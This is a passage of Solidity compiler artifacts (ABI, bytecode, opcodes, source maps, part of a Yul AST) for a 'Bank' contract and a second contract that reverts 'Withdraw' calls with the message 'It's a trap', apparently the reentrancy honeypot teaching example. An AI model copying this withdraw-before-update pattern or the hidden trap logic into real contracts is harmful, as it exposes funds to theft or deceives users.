"sourceMap": "58:630:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;78:40;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;363:323;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;219:138;;;:::i;:::-;;78:40;;;;;;;;;;;;;;;;;:::o;363:323::-;431:8;:20;440:10;431:20;;;;;;;;;;;;;;;;420:7;:31;;412:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;486:9;501:10;:15;;524:7;501:35;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;485:51;;;554:4;546:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;618:7;594:8;:20;603:10;594:20;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;636:6;;;;;;;;;;;:10;;;647;659:7;636:43;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;402:284;363:323;:::o;219:138::-;287:9;263:8;:20;272:10;263:20;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;306:6;;;;;;;;;;;:10;;;317;329:9;306:44;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;219:138::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:77::-;1213:7;1242:5;1231:16;;1176:77;;;:::o;1259:118::-;1346:24;1364:5;1346:24;:::i;:::-;1341:3;1334:37;1259:118;;:::o;1383:222::-;1476:4;1514:2;1503:9;1499:18;1491:26;;1527:71;1595:1;1584:9;1580:17;1571:6;1527:71;:::i;:::-;1383:222;;;;:::o;1611:122::-;1684:24;1702:5;1684:24;:::i;:::-;1677:5;1674:35;1664:63;;1723:1;1720;1713:12;1664:63;1611:122;:::o;1739:139::-;1785:5;1823:6;1810:20;1801:29;;1839:33;1866:5;1839:33;:::i;:::-;1739:139;;;;:::o;1884:329::-;1943:6;1992:2;1980:9;1971:7;1967:23;1963:32;1960:119;;;1998:79;;:::i;:::-;1960:119;2118:1;2143:53;2188:7;2179:6;2168:9;2164:22;2143:53;:::i;:::-;2133:63;;2089:117;1884:329;;;;:::o;2219:169::-;2303:11;2337:6;2332:3;2325:19;2377:4;2372:3;2368:14;2353:29;;2219:169;;;;:::o;2394:168::-;2534:20;2530:1;2522:6;2518:14;2511:44;2394:168;:::o;2568:366::-;2710:3;2731:67;2795:2;2790:3;2731:67;:::i;:::-;2724:74;;2807:93;2896:3;2807:93;:::i;:::-;2925:2;2920:3;2916:12;2909:19;;2568:366;;;:::o;2940:419::-;3106:4;3144:2;3133:9;3129:18;3121:26;;3193:9;3187:4;3183:20;3179:1;3168:9;3164:17;3157:47;3221:131;3347:4;3221:131;:::i;:::-;3213:139;;2940:419;;;:::o;3365:147::-;3466:11;3503:3;3488:18;;3365:147;;;;:::o;3518:114::-;;:::o;3638:398::-;3797:3;3818:83;3899:1;3894:3;3818:83;:::i;:::-;3811:90;;3910:93;3999:3;3910:93;:::i;:::-;4028:1;4023:3;4019:11;4012:18;;3638:398;;;:::o;4042:379::-;4226:3;4248:147;4391:3;4248:147;:::i;:::-;4241:154;;4412:3;4405:10;;4042:379;;;:::o;4427:170::-;4567:22;4563:1;4555:6;4551:14;4544:46;4427:170;:::o;4603:366::-;4745:3;4766:67;4830:2;4825:3;4766:67;:::i;:::-;4759:74;;4842:93;4931:3;4842:93;:::i;:::-;4960:2;4955:3;4951:12;4944:19;;4603:366;;;:::o;4975:419::-;5141:4;5179:2;5168:9;5164:18;5156:26;;5228:9;5222:4;5218:20;5214:1;5203:9;5199:17;5192:47;5256:131;5382:4;5256:131;:::i;:::-;5248:139;;4975:419;;;:::o;5400:180::-;5448:77;5445:1;5438:88;5545:4;5542:1;5535:15;5569:4;5566:1;5559:15;5586:191;5626:4;5646:20;5664:1;5646:20;:::i;:::-;5641:25;;5680:20;5698:1;5680:20;:::i;:::-;5675:25;;5719:1;5716;5713:8;5710:34;;;5724:18;;:::i;:::-;5710:34;5769:1;5766;5762:9;5754:17;;5586:191;;;;:::o;5783:118::-;5870:24;5888:5;5870:24;:::i;:::-;5865:3;5858:37;5783:118;;:::o;5907:158::-;6047:10;6043:1;6035:6;6031:14;6024:34;5907:158;:::o;6071:365::-;6213:3;6234:66;6298:1;6293:3;6234:66;:::i;:::-;6227:73;;6309:93;6398:3;6309:93;:::i;:::-;6427:2;6422:3;6418:12;6411:19;;6071:365;;;:::o;6442:639::-;6664:4;6702:2;6691:9;6687:18;6679:26;;6715:71;6783:1;6772:9;6768:17;6759:6;6715:71;:::i;:::-;6796:72;6864:2;6853:9;6849:18;6840:6;6796:72;:::i;:::-;6915:9;6909:4;6905:20;6900:2;6889:9;6885:18;6878:48;6943:131;7069:4;6943:131;:::i;:::-;6935:139;;6442:639;;;;;:::o;7087:305::-;7127:3;7146:20;7164:1;7146:20;:::i;:::-;7141:25;;7180:20;7198:1;7180:20;:::i;:::-;7175:25;;7334:1;7266:66;7262:74;7259:1;7256:81;7253:107;;;7340:18;;:::i;:::-;7253:107;7384:1;7381;7377:9;7370:16;;7087:305;;;;:::o;7398:157::-;7538:9;7534:1;7526:6;7522:14;7515:33;7398:157;:::o;7561:365::-;7703:3;7724:66;7788:1;7783:3;7724:66;:::i;:::-;7717:73;;7799:93;7888:3;7799:93;:::i;:::-;7917:2;7912:3;7908:12;7901:19;;7561:365;;;:::o;7932:639::-;8154:4;8192:2;8181:9;8177:18;8169:26;;8205:71;8273:1;8262:9;8258:17;8249:6;8205:71;:::i;:::-;8286:72;8354:2;8343:9;8339:18;8330:6;8286:72;:::i;:::-;8405:9;8399:4;8395:20;8390:2;8379:9;8375:18;8368:48;8433:131;8559:4;8433:131;:::i;:::-;8425:139;;7932:639;;;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "414000",
"executionCost": "infinite",
"totalCost": "infinite"
},
"external": {
"balances(address)": "2792",
"deposit()": "infinite",
"withdraw(uint256)": "infinite"
}
},
"methodIdentifiers": {
"balances(address)": "27e235e3",
"deposit()": "d0e30db0",
"withdraw(uint256)": "2e1a7d4d"
}
},
"abi": [
{
"inputs": [
{
"internalType": "contract Logger",
"name": "_logger",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "balances",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "deposit",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_amount",
"type": "uint256"
}
],
"name": "withdraw",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "contract Logger",
"name": "_logger",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "balances",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "deposit",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_amount",
"type": "uint256"
}
],
"name": "withdraw",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Bank.sol": "Bank"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/Bank.sol": {
"keccak256": "0xca6c3e30fdf391d2eb8f6310769a0954ad2bb0e230701c7bf99a2437ee5370fa",
"license": "MIT",
"urls": [
"bzz-raw://4a457b5ddbed5228b66ba1de93649322c5f0d1fa46bc093a276a8401636be8f1",
"dweb:/ipfs/QmXR2poWzXwQrqCuvz6HkA93fNy75XxJHPXfL9xWzgtgEK"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b506105bb806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c806346bdca9a1461003b578063a1f2e8aa1461006b575b600080fd5b610055600480360381019061005091906102be565b610087565b6040516100629190610351565b60405180910390f35b61008560048036038101906100809190610400565b6100e0565b005b60008160405160200161009a91906104f7565b60405160208183030381529060405280519060200120836040516020016100c191906104f7565b6040516020818303038152906040528051906020012014905092915050565b61011f816040518060400160405280600881526020017f5769746864726177000000000000000000000000000000000000000000000000815250610087565b1561015f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161015690610565565b60405180910390fd5b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6101cb82610182565b810181811067ffffffffffffffff821117156101ea576101e9610193565b5b80604052505050565b60006101fd610164565b905061020982826101c2565b919050565b600067ffffffffffffffff82111561022957610228610193565b5b61023282610182565b9050602081019050919050565b82818337600083830152505050565b600061026161025c8461020e565b6101f3565b90508281526020810184848401111561027d5761027c61017d565b5b61028884828561023f565b509392505050565b600082601f8301126102a5576102a4610178565b5b81356102b584826020860161024e565b91505092915050565b600080604083850312156102d5576102d461016e565b5b600083013567ffffffffffffffff8111156102f3576102f2610173565b5b6102ff85828601610290565b925050602083013567ffffffffffffffff8111156103205761031f610173565b5b61032c85828601610290565b9150509250929050565b60008115159050919050565b61034b81610336565b82525050565b60006020820190506103666000830184610342565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103978261036c565b9050919050565b6103a78161038c565b81146103b257600080fd5b50565b6000813590506103c48161039e565b92915050565b6000819050919050565b6103dd816103ca565b81146103e857600080fd5b50565b6000813590506103fa816103d4565b92915050565b6000806000606084860312156104195761041861016e565b5b6000610427868287016103b5565b9350506020610438868287016103eb565b925050604084013567ffffffffffffffff81111561045957610458610173565b5b61046586828701610290565b9150509250925092565b600081519050919050565b600082825260208201905092915050565b60005b838110156104a957808201518184015260208101905061048e565b838111156104b8576000848401525b50505050565b60006104c98261046f565b6104d3818561047a565b93506104e381856020860161048b565b6104ec81610182565b840191505092915050565b6000602082019050818103600083015261051181846104be565b905092915050565b7f4974277320612074726170000000000000000000000000000000000000000000600082015250565b600061054f600b8361047a565b915061055a82610519565b602082019050919050565b6000602082019050818103600083015261057e81610542565b905091905056fea2646970667358221220eba7bf16a6021ca1add7fddfc7f38ef2a208a577ee5075ba87747d8ca1ddcb3d64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x5BB DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x36 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x46BDCA9A EQ PUSH2 0x3B JUMPI DUP1 PUSH4 0xA1F2E8AA EQ PUSH2 0x6B JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x55 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x50 SWAP2 SWAP1 PUSH2 0x2BE JUMP JUMPDEST PUSH2 0x87 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x62 SWAP2 SWAP1 PUSH2 0x351 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x85 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x80 SWAP2 SWAP1 PUSH2 0x400 JUMP JUMPDEST PUSH2 0xE0 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP2 PUSH1 0x40 MLOAD PUSH1 0x20 ADD PUSH2 0x9A SWAP2 SWAP1 PUSH2 0x4F7 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE DUP1 MLOAD SWAP1 PUSH1 0x20 ADD KECCAK256 DUP4 PUSH1 0x40 MLOAD PUSH1 0x20 ADD PUSH2 0xC1 SWAP2 SWAP1 PUSH2 0x4F7 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE DUP1 MLOAD SWAP1 PUSH1 0x20 ADD KECCAK256 EQ SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x11F DUP2 PUSH1 0x40 MLOAD DUP1 PUSH1 0x40 ADD PUSH1 0x40 MSTORE DUP1 PUSH1 0x8 DUP2 MSTORE PUSH1 0x20 ADD PUSH32 0x5769746864726177000000000000000000000000000000000000000000000000 DUP2 MSTORE POP PUSH2 0x87 JUMP JUMPDEST ISZERO PUSH2 0x15F JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x156 SWAP1 PUSH2 0x565 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH1 0x1F NOT PUSH1 0x1F DUP4 ADD AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x41 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH2 0x1CB DUP3 PUSH2 0x182 JUMP JUMPDEST DUP2 ADD DUP2 DUP2 LT PUSH8 0xFFFFFFFFFFFFFFFF DUP3 GT OR ISZERO PUSH2 0x1EA JUMPI PUSH2 0x1E9 PUSH2 0x193 JUMP JUMPDEST JUMPDEST DUP1 PUSH1 0x40 MSTORE POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x1FD PUSH2 0x164 JUMP JUMPDEST SWAP1 POP PUSH2 0x209 DUP3 DUP3 PUSH2 0x1C2 JUMP JUMPDEST SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH8 0xFFFFFFFFFFFFFFFF DUP3 GT ISZERO PUSH2 0x229 JUMPI PUSH2 0x228 PUSH2 0x193 JUMP JUMPDEST JUMPDEST PUSH2 0x232 DUP3 PUSH2 0x182 JUMP JUMPDEST SWAP1 POP PUSH1 0x20 DUP2 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST DUP3 DUP2 DUP4 CALLDATACOPY PUSH1 0x0 DUP4 DUP4 ADD MSTORE POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x261 PUSH2 0x25C DUP5 PUSH2 0x20E JUMP JUMPDEST PUSH2 0x1F3 JUMP JUMPDEST SWAP1 POP DUP3 DUP2 MSTORE PUSH1 0x20 DUP2 ADD DUP5 DUP5 DUP5 ADD GT ISZERO PUSH2 0x27D JUMPI PUSH2 0x27C PUSH2 0x17D JUMP JUMPDEST JUMPDEST PUSH2 0x288 DUP5 DUP3 DUP6 PUSH2 0x23F JUMP JUMPDEST POP SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP3 PUSH1 0x1F DUP4 ADD SLT PUSH2 0x2A5 JUMPI PUSH2 0x2A4 PUSH2 0x178 JUMP JUMPDEST JUMPDEST DUP2 CALLDATALOAD PUSH2 0x2B5 DUP5 DUP3 PUSH1 0x20 DUP7 ADD PUSH2 0x24E JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x40 DUP4 DUP6 SUB SLT ISZERO PUSH2 0x2D5 JUMPI PUSH2 0x2D4 PUSH2 0x16E JUMP JUMPDEST JUMPDEST PUSH1 0x0 DUP4 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x2F3 JUMPI PUSH2 0x2F2 PUSH2 0x173 JUMP JUMPDEST JUMPDEST PUSH2 0x2FF DUP6 DUP3 DUP7 ADD PUSH2 0x290 JUMP JUMPDEST SWAP3 POP POP PUSH1 0x20 DUP4 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x320 JUMPI PUSH2 0x31F PUSH2 0x173 JUMP JUMPDEST JUMPDEST PUSH2 0x32C DUP6 DUP3 DUP7 ADD PUSH2 0x290 JUMP JUMPDEST SWAP2 POP POP SWAP3 POP SWAP3 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 ISZERO ISZERO SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x34B DUP2 PUSH2 0x336 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x366 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x342 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x397 DUP3 PUSH2 0x36C JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x3A7 DUP2 PUSH2 0x38C JUMP JUMPDEST DUP2 EQ PUSH2 0x3B2 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x3C4 DUP2 PUSH2 0x39E JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x3DD DUP2 PUSH2 0x3CA JUMP JUMPDEST DUP2 EQ PUSH2 0x3E8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x3FA DUP2 PUSH2 0x3D4 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 PUSH1 0x60 DUP5 DUP7 SUB SLT ISZERO PUSH2 0x419 JUMPI PUSH2 0x418 PUSH2 0x16E JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x427 DUP7 DUP3 DUP8 ADD PUSH2 0x3B5 JUMP JUMPDEST SWAP4 POP POP PUSH1 0x20 PUSH2 0x438 DUP7 DUP3 DUP8 ADD PUSH2 0x3EB JUMP JUMPDEST SWAP3 POP POP PUSH1 0x40 DUP5 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x459 JUMPI PUSH2 0x458 PUSH2 0x173 JUMP JUMPDEST JUMPDEST PUSH2 0x465 DUP7 DUP3 DUP8 ADD PUSH2 0x290 JUMP JUMPDEST SWAP2 POP POP SWAP3 POP SWAP3 POP SWAP3 JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 JUMPDEST DUP4 DUP2 LT ISZERO PUSH2 0x4A9 JUMPI DUP1 DUP3 ADD MLOAD DUP2 DUP5 ADD MSTORE PUSH1 0x20 DUP2 ADD SWAP1 POP PUSH2 0x48E JUMP JUMPDEST DUP4 DUP2 GT ISZERO PUSH2 0x4B8 JUMPI PUSH1 0x0 DUP5 DUP5 ADD MSTORE JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x4C9 DUP3 PUSH2 0x46F JUMP JUMPDEST PUSH2 0x4D3 DUP2 DUP6 PUSH2 0x47A JUMP JUMPDEST SWAP4 POP PUSH2 0x4E3 DUP2 DUP6 PUSH1 0x20 DUP7 ADD PUSH2 0x48B JUMP JUMPDEST PUSH2 0x4EC DUP2 PUSH2 0x182 JUMP JUMPDEST DUP5 ADD SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x511 DUP2 DUP5 PUSH2 0x4BE JUMP JUMPDEST SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4974277320612074726170000000000000000000000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x54F PUSH1 0xB DUP4 PUSH2 0x47A JUMP JUMPDEST SWAP2 POP PUSH2 0x55A DUP3 PUSH2 0x519 JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x57E DUP2 PUSH2 0x542 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xEB 0xA7 0xBF AND 0xA6 MUL SHR LOG1 0xAD 0xD7 REVERT 0xDF 0xC7 RETURN DUP15 CALLCODE LOG2 ADDMOD 0xA5 PUSH24 0xEE5075BA87747D8CA1DDCB3D64736F6C634300080C003300 ",
"sourceMap": "1528:437:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@equal_225": {
"entryPoint": 135,
"id": 225,
"parameterSlots": 2,
"returnSlots": 1
},
"@log_201": {
"entryPoint": 224,
"id": 201,
"parameterSlots": 3,
"returnSlots": 0
},
"abi_decode_available_length_t_string_memory_ptr": {
"entryPoint": 590,
"id": null,
"parameterSlots": 3,
"returnSlots": 1
},
"abi_decode_t_address": {
"entryPoint": 949,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_t_string_memory_ptr": {
"entryPoint": 656,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_t_uint256": {
"entryPoint": 1003,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_addresst_uint256t_string_memory_ptr": {
"entryPoint": 1024,
"id": null,
"parameterSlots": 2,
"returnSlots": 3
},
"abi_decode_tuple_t_string_memory_ptrt_string_memory_ptr": {
"entryPoint": 702,
"id": null,
"parameterSlots": 2,
"returnSlots": 2
},
"abi_encode_t_bool_to_t_bool_fromStack": {
"entryPoint": 834,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_string_memory_ptr_to_t_string_memory_ptr_fromStack": {
"entryPoint": 1214,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_stringliteral_72a9637f0d7174f748cb3dfe0a93655d7fd6effca1e657f3eed12b0e576eb0c6_to_t_string_memory_ptr_fromStack": {
"entryPoint": 1346,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed": {
"entryPoint": 849,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_string_memory_ptr__to_t_string_memory_ptr__fromStack_reversed": {
"entryPoint": 1271,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_stringliteral_72a9637f0d7174f748cb3dfe0a93655d7fd6effca1e657f3eed12b0e576eb0c6__to_t_string_memory_ptr__fromStack_reversed": {
"entryPoint": 1381,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"allocate_memory": {
"entryPoint": 499,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": 356,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"array_allocation_size_t_string_memory_ptr": {
"entryPoint": 526,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"array_length_t_string_memory_ptr": {
"entryPoint": 1135,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"array_storeLengthForEncoding_t_string_memory_ptr_fromStack": {
"entryPoint": 1146,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 908,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_bool": {
"entryPoint": 822,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 876,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 970,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"copy_calldata_to_memory": {
"entryPoint": 575,
"id": null,
"parameterSlots": 3,
"returnSlots": 0
},
"copy_memory_to_memory": {
"entryPoint": 1163,
"id": null,
"parameterSlots": 3,
"returnSlots": 0
},
"finalize_allocation": {
"entryPoint": 450,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"panic_error_0x41": {
"entryPoint": 403,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d": {
"entryPoint": 376,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae": {
"entryPoint": 381,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": 371,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 366,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"round_up_to_mul_of_32": {
"entryPoint": 386,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"store_literal_in_memory_72a9637f0d7174f748cb3dfe0a93655d7fd6effca1e657f3eed12b0e576eb0c6": {
"entryPoint": 1305,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"validator_revert_t_address": {
"entryPoint": 926,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"validator_revert_t_uint256": {
"entryPoint": 980,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:7726:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "47:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "57:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "73:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "67:5:1"
},
"nodeType": "YulFunctionCall",
"src": "67:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "57:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "40:6:1",
"type": ""
}
],
